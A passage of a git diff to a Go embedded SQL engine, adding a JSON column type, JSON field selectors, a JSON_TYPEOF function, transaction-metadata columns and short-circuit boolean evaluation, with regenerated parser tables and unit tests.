42, - 49, 56, 39, 136, 140, 36, 0, 41, 129, 123, - 0, 103, 0, 104, 105, 106, 107, 0, 77, 80, - 0, 0, 0, 20, 155, 156, 65, 38, 0, 0, - 0, 0, 131, 0, 139, 146, 0, 73, 78, 81, - 75, 76, 50, 0, 51, 37, 137, 0, 0, 0, - 109, 17, 0, 133, 0, 132, 130, 54, 0, 43, - 135, 0, 0, 124, 88, 138, 143, 55, 0, 141, - 144, 145, 143, 142, + 69, 103, 117, 0, 0, 0, 0, 0, 0, 47, + 0, 142, 0, 130, 44, 0, 83, 0, 0, 95, + 150, 0, 98, 0, 0, 0, 35, 0, 0, 0, + 0, 119, 120, 121, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 165, 154, 155, 0, 0, 0, 56, + 0, 22, 0, 0, 0, 0, 0, 0, 48, 52, + 0, 136, 0, 131, 142, 0, 0, 142, 115, 0, + 0, 0, 0, 0, 149, 113, 149, 151, 0, 101, + 0, 0, 104, 0, 71, 0, 0, 0, 30, 166, + 167, 168, 169, 170, 171, 172, 0, 0, 0, 163, + 0, 162, 0, 0, 57, 58, 0, 23, 24, 0, + 26, 30, 0, 0, 0, 138, 0, 0, 136, 45, + 46, -2, 149, 0, 0, 0, 0, 0, 0, 111, + 96, 102, 99, 100, 0, 74, 0, 0, 27, 31, + 32, 33, 173, 156, 0, 157, 0, 70, 0, 21, + 0, 28, 0, 53, 0, 40, 0, 137, 0, 138, + 130, 124, -2, 0, 129, 105, 149, 0, 149, 149, + 0, 149, 0, 72, 79, 0, 0, 19, 0, 0, + 0, 0, 59, 25, 42, 49, 56, 39, 139, 143, + 36, 0, 41, 132, 126, 0, 106, 0, 107, 108, + 109, 110, 0, 77, 80, 0, 0, 0, 20, 158, + 159, 65, 38, 0, 0, 0, 0, 134, 0, 142, + 149, 0, 73, 78, 81, 75, 76, 50, 0, 51, + 37, 140, 0, 0, 0, 112, 17, 0, 136, 0, + 135, 133, 54, 0, 43, 138, 0, 0, 127, 88, + 141, 146, 55, 0, 144, 147, 148, 146, 145, } var yyTok1 = [...]int8{ @@ -503,12 +507,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 100, 101, 96, 94, 93, 95, 98, 97, 3, 3, + 101, 102, 97, 95, 94, 96, 99, 98, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 102, 3, 103, + 3, 103, 3, 104, } var yyTok2 = [...]int8{ @@ -521,7 +525,7 @@ var yyTok2 = [...]int8{ 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, - 92, 99, + 92, 93, 100, } var yyTok3 = [...]int8{ @@ -1355,369 +1359,384 @@ yydefault: yyVAL.sel = yyDollar[1].col } case 98: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} + } + case 99: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 99: + case 100: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 100: + case 101: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.jsonFields = []string{yyDollar[2].str} + } + case 102: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) + } + case 103: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 101: + case 104: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 102: + case 105: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 103: + case 106: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 104: + case 107: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 105: + case 108: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 106: + case 109: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 107: + case 110: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 108: + case 111: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 109: + case 112: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 110: + case 113: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 111: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 112: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 113: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 114: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 115: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 116: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 117: + case 120: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 118: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 119: + case 122: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 120: + case 123: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 121: + case 124: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 122: + case 125: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 123: + case 126: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 124: + case 127: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 125: + case 128: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 126: + case 129: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 127: + case 130: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 128: + case 131: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 129: + case 132: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 130: + case 133: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 131: + case 134: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 132: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 133: + case 136: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 134: + case 137: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 135: + case 138: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 136: + case 139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 137: + case 140: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 138: + case 141: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 139: + case 142: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 140: + case 143: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 141: + case 144: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} } - case 142: + case 145: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) } - case 143: + case 146: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 144: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 145: + case 148: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 146: + case 149: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 147: + case 150: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 148: + case 151: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 149: + case 152: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 150: + case 153: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 151: + case 154: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 152: + case 155: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 153: + case 156: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 154: + case 157: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 155: + case 158: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 156: + case 159: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 157: + case 160: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 158: + case 161: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 159: + case 162: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 160: + case 163: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 161: + case 164: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 162: + case 165: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 163: + case 166: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 164: + case 167: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 165: + case 168: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 166: + case 169: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 167: + case 170: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 168: + case 171: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 169: + case 172: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 170: + case 173: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 15dd136e2f..de7859cae2 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -39,20 +39,34 @@ const ( catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - + RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) MappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) ) -const DatabaseID = uint32(1) // deprecated but left to maintain backwards compatibility -const PKIndexID = uint32(0) +const ( + DatabaseID = uint32(1) // deprecated but left to maintain backwards compatibility + PKIndexID = uint32(0) +) const ( nullableFlag byte = 1 << iota autoIncrementFlag byte = 1 << iota ) -const revCol = "_rev" +const ( + revCol = "_rev" + txMetadataCol = "_tx_metadata" +) + +var reservedColumns = map[string]struct{}{ + revCol: {}, + txMetadataCol: {}, +} + +func isReservedCol(col string) bool { + _, ok := reservedColumns[col] + return ok +} type SQLValueType = string @@ -65,6 +79,7 @@ const ( Float64Type SQLValueType = "FLOAT" TimestampType SQLValueType = "TIMESTAMP" AnyType SQLValueType = "ANY" + JSONType SQLValueType = "JSON" ) func IsNumericType(t SQLValueType) bool { @@ -125,14 +140,15 @@ const ( ) const ( - NowFnCall string = "NOW" - UUIDFnCall string = "RANDOM_UUID" - DatabasesFnCall string = "DATABASES" - TablesFnCall string = "TABLES" - TableFnCall string = "TABLE" - UsersFnCall string = "USERS" - ColumnsFnCall string = "COLUMNS" - IndexesFnCall string = "INDEXES" + NowFnCall string = "NOW" + UUIDFnCall string = "RANDOM_UUID" + DatabasesFnCall string = "DATABASES" + TablesFnCall string = "TABLES" + TableFnCall string = "TABLE" + UsersFnCall string = "USERS" + ColumnsFnCall string = "COLUMNS" + IndexesFnCall string = "INDEXES" + JSONTypeOfFnCall string = "JSON_TYPEOF" ) type SQLStmt interface { @@ -461,6 +477,10 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } + if col.Type() == JSONType { + return nil, ErrCannotIndexJson + } + if variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } @@ -1604,7 +1624,6 @@ func (n *NullValue) Compare(val TypedValue) (int, error) { if val.RawValue() == nil { return 0, nil } - return -1, nil } @@ -1671,7 +1690,7 @@ func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQL } func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - if t != IntegerType { + if t != IntegerType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } @@ -1707,6 +1726,11 @@ func (v *Integer) Compare(val TypedValue) (int, error) { return 1, nil } + if val.Type() == JSONType { + res, err := val.Compare(v) + return -res, err + } + if val.Type() == Float64Type { r, err := val.Compare(v) return r * -1, err @@ -1828,10 +1852,9 @@ func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQL } func (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - if t != VarcharType { + if t != VarcharType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } - return nil } @@ -1864,6 +1887,11 @@ func (v *Varchar) Compare(val TypedValue) (int, error) { return 1, nil } + if val.Type() == JSONType { + res, err := val.Compare(v) + return -res, err + } + if val.Type() != VarcharType { return 0, ErrNotComparableValues } @@ -1968,10 +1996,9 @@ func (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLVal } func (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - if t != BooleanType { + if t != BooleanType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } - return nil } @@ -2004,6 +2031,11 @@ func (v *Bool) Compare(val TypedValue) (int, error) { return 1, nil } + if val.Type() == JSONType { + res, err := val.Compare(v) + return -res, err + } + if val.Type() != BooleanType { return 0, ErrNotComparableValues } @@ -2116,10 +2148,9 @@ func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQL } func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - if t != Float64Type { + if t != Float64Type && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, Float64Type, t) } - return nil } @@ -2148,6 +2179,11 @@ func (v *Float64) RawValue() interface{} { } func (v *Float64) Compare(val TypedValue) (int, error) { + if val.Type() == JSONType { + res, err := val.Compare(v) + return -res, err + } + convVal, err := mayApplyImplicitConversion(val.RawValue(), Float64Type) if err != nil { return 0, err @@ -2187,6 +2223,10 @@ func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLV return UUIDType, nil } + if strings.ToUpper(v.fn) == JSONTypeOfFnCall { + return VarcharType, nil + } + return AnyType, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } @@ -2207,6 +2247,13 @@ func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, par return nil } + if strings.ToUpper(v.fn) == JSONTypeOfFnCall { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil + } + return fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } @@ -2241,6 +2288,26 @@ func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, return &UUID{val: uuid.New()}, nil } + if strings.ToUpper(v.fn) == JSONTypeOfFnCall { + if len(v.params) != 1 { + return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, JSONTypeOfFnCall, 1, len(v.params)) + } + + v, err := v.params[0].reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + + if v.IsNull() { + return NewNull(AnyType), nil + } + + jsonVal, ok := v.(*JSON) + if !ok { + return nil, fmt.Errorf("%w: '%s' function expects an argument of type JSON", ErrIllegalArguments, JSONTypeOfFnCall) + } + return NewVarchar(jsonVal.primitiveType()), nil + } return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } @@ -2392,7 +2459,6 @@ func (p *Param) substitute(params map[string]interface{}) (ValueExp, error) { return &Float64{val: v}, nil } } - return nil, ErrUnsupportedParameter } @@ -2723,6 +2789,22 @@ func (stmt *SelectStmt) Alias() string { return stmt.as } +func (stmt *SelectStmt) hasTxMetadata() bool { + for _, sel := range stmt.selectors { + switch s := sel.(type) { + case *ColSelector: + if s.col == txMetadataCol { + return true + } + case *JSONSelector: + if s.ColSelector.col == txMetadataCol { + return true + } + } + } + return false +} + func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) { groupByCols, orderByCols := stmt.groupByOrdColumns(), stmt.orderBy @@ -2785,6 +2867,7 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( Index: sortingIndex, rangesByColID: rangesByColID, IncludeHistory: tableRef.history, + IncludeTxMetadata: stmt.hasTxMetadata(), DescOrder: descOrder, groupBySortColumns: groupByCols, orderBySortCols: orderByCols, @@ -3102,7 +3185,6 @@ func (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) if sel.table != "" { table = sel.table } - return "", table, sel.col } @@ -3409,9 +3491,21 @@ func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValu return nil, err } + vl = unwrapJSON(vl) + vr = unwrapJSON(vr) + return applyNumOperator(bexp.op, vl, vr) } +func unwrapJSON(v TypedValue) TypedValue { + if jsonVal, ok := v.(*JSON); ok { + if sv, isSimple := jsonVal.castToTypedValue(); isSimple { + return sv + } + } + return v +} + func (bexp *NumExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NumExp{ op: bexp.op, @@ -3564,14 +3658,15 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Type return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } - if rval.Type() != VarcharType { - return nil, fmt.Errorf("error in 'LIKE' clause: %w (expecting %s)", ErrInvalidTypes, VarcharType) - } - if rval.IsNull() { return &Bool{val: false}, nil } + rvalStr, ok := rval.RawValue().(string) + if !ok { + return nil, fmt.Errorf("error in 'LIKE' clause: %w (expecting %s)", ErrInvalidTypes, VarcharType) + } + rpattern, err := bexp.pattern.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) @@ -3581,7 +3676,7 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Type return nil, fmt.Errorf("error evaluating 'LIKE' clause: %w", ErrInvalidTypes) } - matched, err := regexp.MatchString(rpattern.RawValue().(string), rval.RawValue().(string)) + matched, err := regexp.MatchString(rpattern.RawValue().(string), rvalStr) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3834,16 +3929,16 @@ func updateRangeFor(colID uint32, val TypedValue, cmp CmpOperator, rangesByColID } func cmpSatisfiesOp(cmp int, op CmpOperator) bool { - switch cmp { - case 0: + switch { + case cmp == 0: { return op == EQ || op == LE || op == GE } - case -1: + case cmp < 0: { return op == NE || op == LT || op == LE } - case 1: + case cmp > 0: { return op == NE || op == GT || op == GE } @@ -3922,16 +4017,20 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return nil, err } - vr, err := bexp.right.reduce(tx, row, implicitTable) - if err != nil { - return nil, err - } - bl, isBool := vl.(*Bool) if !isBool { return nil, fmt.Errorf("%w (expecting boolean value)", ErrInvalidValue) } + if (bexp.op == OR && bl.val) || (bexp.op == AND && !bl.val) { + return &Bool{val: bl.val}, nil + } + + vr, err := bexp.right.reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + br, isBool := vr.(*Bool) if !isBool { return nil, fmt.Errorf("%w (expecting boolean value)", ErrInvalidValue) diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 2194505cc8..24d2b7d2d7 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -262,16 +262,18 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.data)"] = ColDescriptor{Type: JSONType} params := make(map[string]SQLValueType) testCases := []struct { - exp ValueExp - cols map[string]ColDescriptor - params map[string]SQLValueType - implicitTable string - requiredType SQLValueType - expectedError error + exp ValueExp + cols map[string]ColDescriptor + params map[string]SQLValueType + implicitTable string + requiredType SQLValueType + expectedInferredType SQLValueType + expectedError error }{ { exp: &NullValue{t: AnyType}, @@ -313,6 +315,15 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { requiredType: VarcharType, expectedError: ErrInvalidTypes, }, + { + exp: &Integer{}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: JSONType, + expectedInferredType: IntegerType, + expectedError: nil, + }, { exp: &Varchar{}, cols: cols, @@ -321,6 +332,15 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { requiredType: VarcharType, expectedError: nil, }, + { + exp: &Varchar{}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: JSONType, + expectedInferredType: VarcharType, + expectedError: nil, + }, { exp: &Varchar{}, cols: cols, @@ -337,6 +357,15 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { requiredType: BooleanType, expectedError: nil, }, + { + exp: &Bool{}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: JSONType, + expectedInferredType: BooleanType, + expectedError: nil, + }, { exp: &Bool{}, cols: cols, @@ -361,6 +390,68 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { requiredType: IntegerType, expectedError: ErrInvalidTypes, }, + { + exp: &JSON{}, + cols: cols, + params: params, + requiredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, + { + exp: &JSON{val: "some-string"}, + cols: cols, + params: params, + requiredType: VarcharType, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, + { + exp: &JSON{val: int64(10)}, + cols: cols, + params: params, + requiredType: Float64Type, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, + { + exp: &JSON{val: float64(10.5)}, + cols: cols, + params: params, + requiredType: IntegerType, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: ErrInvalidTypes, + }, + { + exp: &JSON{val: true}, + cols: cols, + params: params, + requiredType: BooleanType, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, + { + exp: &JSON{val: nil}, + cols: cols, + params: params, + requiredType: AnyType, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, + { + exp: &JSON{val: int64(10)}, + cols: cols, + params: params, + requiredType: IntegerType, + expectedInferredType: JSONType, + implicitTable: "mytable", + expectedError: nil, + }, { exp: &NotBoolExp{exp: &Bool{val: true}}, cols: cols, @@ -424,9 +515,14 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { + expectedInferredType := tc.expectedInferredType + if expectedInferredType == "" { + expectedInferredType = tc.requiredType + } + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) - require.Equal(t, tc.requiredType, it) + require.Equal(t, expectedInferredType, it) } } } @@ -667,7 +763,7 @@ func TestLikeBoolExpEdgeCases(t *testing.T) { err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) - v := &NullValue{} + v := &Integer{} row := &Row{ ValuesByPosition: []TypedValue{v}, @@ -768,7 +864,7 @@ func TestIsConstant(t *testing.T) { require.False(t, (&ExistsBoolExp{}).isConstant()) } -func TestTimestmapType(t *testing.T) { +func TestTimestamapType(t *testing.T) { ts := &Timestamp{val: time.Date(2021, 12, 6, 11, 53, 0, 0, time.UTC)} @@ -824,6 +920,167 @@ func TestTimestmapType(t *testing.T) { require.NoError(t, err) } +func TestJSONType(t *testing.T) { + js := &JSON{val: float64(10)} + + require.True(t, js.isConstant()) + require.False(t, js.IsNull()) + + it, err := js.inferType(map[string]ColDescriptor{}, map[string]string{}, "") + require.NoError(t, err) + require.Equal(t, JSONType, it) + + v, err := js.substitute(map[string]interface{}{}) + require.NoError(t, err) + require.Equal(t, js, v) + + v, err = js.reduce(nil, nil, "") + require.NoError(t, err) + require.Equal(t, js, v) + + v = js.reduceSelectors(&Row{}, "") + require.Equal(t, js, v) + + err = js.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) + + t.Run("test comparison functions", func(t *testing.T) { + type test struct { + a TypedValue + b TypedValue + res int + expectedError error + } + + tests := []test{ + { + a: NewJson(10.5), + b: NewJson(10.5), + }, + { + a: NewJson(map[string]interface{}{}), + b: NewJson(map[string]interface{}{}), + expectedError: ErrNotComparableValues, + }, + { + a: NewJson(10.5), + b: NewFloat64(9.5), + res: 1, + }, + { + a: NewJson(true), + b: NewBool(true), + res: 0, + }, + { + a: NewJson("test"), + b: NewVarchar("test"), + res: 0, + }, + { + a: NewJson(int64(2)), + b: NewInteger(8), + res: -1, + }, + 